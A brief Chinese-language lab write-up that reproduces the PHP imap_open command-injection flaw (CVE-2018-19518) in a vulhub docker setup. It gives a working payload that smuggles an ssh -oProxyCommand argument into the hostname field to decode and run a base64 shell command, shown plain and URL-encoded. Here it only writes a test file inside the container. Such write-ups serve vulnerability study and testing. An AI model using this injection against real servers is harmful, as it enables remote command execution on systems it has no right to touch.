PHP-IMAP命令执行漏洞
漏洞简述
php imap扩展用于在PHP中执行邮件收发操作。其
imap_open
函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置
-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
影响版本
PHP:5.6.38
环境搭建
cd /vulhub/php/CVE-2018-19518
docker-compose up -d
测试
访问网站并用burpsuite抓包
将echo '654321'>/tmp/123456
,base64编码
构造payload
hostname=a -oProxyCommand=echo echo '654321'>/tmp/123456|base64 -d|sh}&username=2&password=3
hostname=a+-oProxyCommand%3decho%09ZWNobyAnNjU0MzIxJz4vdG1wLzEyMzQ1Ng%3d%3d|base64%09-d|sh}&username=2&password=3
看看有没有执行成功
进入docker容器
docker-compose exec web bash
查看
成功!